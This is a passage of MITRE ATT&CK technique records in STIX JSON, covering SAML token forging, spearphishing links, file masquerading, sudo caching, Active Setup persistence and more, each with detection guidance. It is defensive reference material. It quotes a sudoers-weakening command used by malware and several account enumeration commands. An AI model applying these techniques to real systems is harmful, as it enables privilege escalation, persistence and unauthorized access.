network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"There is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification"],"x_mitre_defense_bypassed":["Encryption"],"x_mitre_permissions_required":["Administrator"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-14T22:11:30.271Z","name":"SAML Tokens","description":"An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\n\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Blake Strom, Microsoft 365 Defender","Oleg Kolesnikov, Securonix","Jack Burns, HubSpot"],"x_mitre_deprecated":false,"x_mitre_detection":"This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)\n\nConsider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["SaaS","Windows","IaaS","Office Suite","Identity Provider"],"x_mitre_version":"1.4","x_mitre_data_sources":["Web Credential: Web Credential Usage","Web Credential: Web Credential Creation","Logon Session: Logon Session Creation","User Account: User Account Authentication","Logon Session: Logon Session Metadata","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2","created":"2020-12-17T15:24:12.240Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1606/002","external_id":"T1606.002"},{"source_name":"Microsoft SolarWinds Steps","description":"Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020.","url":"https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/"},{"source_name":"Microsoft SAML Token Lifetimes","description":"Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020.","url":"https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes"},{"source_name":"Microsoft SolarWinds Customer Guidance","description":"MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.","url":"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"},{"source_name":"Cyberark Golden SAML","description":"Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020.","url":"https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"},{"source_name":"Sygnia Golden SAML","description":"Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.","url":"https://www.sygnia.co/golden-saml-advisory"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"x_mitre_platforms":["Windows","macOS","Linux","Office 365","SaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Shailesh Tiwary (Indian Army)","Mark Wee","Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)","Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1192","url":"https://attack.mitre.org/techniques/T1192"},{"external_id":"CAPEC-163","source_name":"capec","url":"https://capec.mitre.org/data/definitions/163.html"},{"source_name":"Trend Micro Pawn Storm OAuth 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks","description":"Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019."}],"modified":"2020-03-02T19:21:35.153Z","name":"Spearphishing Link","description":"Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_detection":"URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections for Spearphishing Link take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_is_subtechnique":false},{"modified":"2023-06-14T23:03:51.540Z","name":"Masquerade File Type","description":"Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \n\nAdversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["CrowdStrike Falcon OverWatch","Ben Smith, @ezaspy"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["File: File Modification","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471","created":"2023-03-08T22:40:06.918Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1036/008","external_id":"T1036.008"},{"source_name":"polygot_icedID","description":"Lim, M. (2022, September 27). More Than Meets the Eye: Exposing a Polyglot File That Delivers IcedID. Retrieved September 29, 2022.","url":"https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-12T15:57:27.380Z","name":"Service Stop","description":"Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes and command-line arguments to see if critical processes are terminated or stop running.\n\nMonitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.\n\nAlterations to the service binary path or the service startup type changed to disabled may be suspicious.\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_version":"1.2","x_mitre_data_sources":["Process: Process Creation","Process: Process Termination","Windows Registry: Windows Registry Key Modification","Command: Command Execution","File: File Modification","Process: OS API Execution","Service: Service Metadata"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","created":"2019-03-29T19:00:55.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1489","external_id":"T1489"},{"source_name":"SecureWorks WannaCry Analysis","description":"Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.","url":"https://www.secureworks.com/research/wcry-ransomware-analysis"},{"source_name":"Talos Olympic Destroyer 2018","description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","type":"attack-pattern","created":"2020-10-01T01:33:01.433Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1587.001","url":"https://attack.mitre.org/techniques/T1587/001"},{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"},{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"},{"source_name":"ActiveMalwareEnergy","description":"Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.","url":"https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/"},{"source_name":"FBI Flash FIN7 USB","url":"https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/","description":"The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022."},{"source_name":"FireEye APT29","description":"FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"}],"modified":"2022-01-14T17:14:27.890Z","name":"Malware","description":"Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)\n\nAs with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\n\nSome aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Malware Repository: Malware Content","Malware Repository: Malware Metadata"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Casey Smith"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302","type":"attack-pattern","created":"2017-05-31T21:31:33.499Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1121","url":"https://attack.mitre.org/techniques/T1121"},{"url":"https://msdn.microsoft.com/en-us/library/04za0hca.aspx","description":"Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.","source_name":"MSDN Regsvcs"},{"source_name":"MSDN Regasm","description":"Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.","url":"https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"},{"source_name":"LOLBAS Regsvcs","url":"https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/","description":"LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019."},{"description":"LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.","url":"https://lolbas-project.github.io/lolbas/Binaries/Regasm/","source_name":"LOLBAS Regasm"}],"modified":"2020-01-31T19:00:30.734Z","name":"Regsvcs/Regasm","description":"Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)","kill_chain_phases":[{"phase_name":"defense-evasion","kill_chain_name":"mitre-attack"},{"phase_name":"execution","kill_chain_name":"mitre-attack"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Process whitelisting","Digital Certificate Validation"],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_is_subtechnique":false},{"modified":"2023-05-04T18:07:16.804Z","name":"Device Driver Discovery","description":"Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) or other defenses (e.g., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)).\n\nMany OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.(Citation: Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers) Information about device drivers (as well as associated services, i.e., [System Service Discovery](https://attack.mitre.org/techniques/T1007)) may also be available in the Registry.(Citation: Microsoft Registry Drivers)\n\nOn Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.(Citation: Linux Kernel Programming)(Citation: lsmod man)(Citation: modinfo man)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["ESET"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Process: OS API Execution","Windows Registry: Windows Registry Key Access"],"type":"attack-pattern","id":"attack-pattern--215d9700-5881-48b8-8265-6449dbb7195d","created":"2023-03-28T20:14:49.087Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1652","external_id":"T1652"},{"source_name":"lsmod man","description":"Kerrisk, M. (2022, December 18). lsmod(8) — Linux manual page. Retrieved March 28, 2023.","url":"https://man7.org/linux/man-pages/man8/lsmod.8.html"},{"source_name":"Microsoft Registry Drivers","description":"Microsoft. (2021, December 14). Registry Trees for Devices and Drivers. Retrieved March 28, 2023.","url":"https://learn.microsoft.com/windows-hardware/drivers/install/overview-of-registry-trees-and-keys"},{"source_name":"Microsoft EnumDeviceDrivers","description":"Microsoft. (2021, October 12). EnumDeviceDrivers function (psapi.h). Retrieved March 28, 2023.","url":"https://learn.microsoft.com/windows/win32/api/psapi/nf-psapi-enumdevicedrivers"},{"source_name":"Microsoft Driverquery","description":"Microsoft. (n.d.). driverquery. Retrieved March 28, 2023.","url":"https://learn.microsoft.com/windows-server/administration/windows-commands/driverquery"},{"source_name":"Linux Kernel Programming","description":"Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.","url":"https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"},{"source_name":"modinfo man","description":"Russell, R. (n.d.). modinfo(8) - Linux man page. Retrieved March 28, 2023.","url":"https://linux.die.net/man/8/modinfo"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1206","url":"https://attack.mitre.org/techniques/T1206"},{"url":"https://www.sudo.ws/","description":"Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.","source_name":"sudo man page 2018"},{"url":"https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does","description":"Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.","source_name":"cybereason osx proton"}],"modified":"2020-02-05T20:10:18.586Z","name":"Sudo Caching","description":"The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. When tty_tickets is disabled, adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_effective_permissions":["root"],"x_mitre_is_subtechnique":false},{"modified":"2024-05-31T04:00:37.651Z","name":"Domain Account","description":"Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["ExtraHop","Miriam Wiesner, @miriamxyra, Microsoft Security"],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Process: OS API Execution","Network Traffic: Network Traffic Content","Group: Group Enumeration"],"type":"attack-pattern","id":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","created":"2020-02-21T21:08:26.480Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1087/002","external_id":"T1087.002"},{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T14:17:17.353Z","name":"Active Setup","description":"Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["Command: Command Execution","Windows Registry: Windows Registry Key Creation","Process: Process Creation","Windows Registry: Windows Registry Key Modification"],"x_mitre_permissions_required":["Administrator"],"type":"attack-pattern","id":"attack-pattern--22522668-ddf6-470b-a027-9d6866679f67","created":"2020-12-18T16:33:13.098Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1547/014","external_id":"T1547.014"},{"source_name":"SECURELIST Bright Star 2015","description":"Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who’s Really Spreading through the Bright Star?. Retrieved December 18, 2020.","url":"https://securelist.com/whos-really-spreading-through-the-bright-star/68978/"},{"source_name":"Mandiant Glyer APT 2010","description":"Glyer, C. (2010). Examples of Recent APT 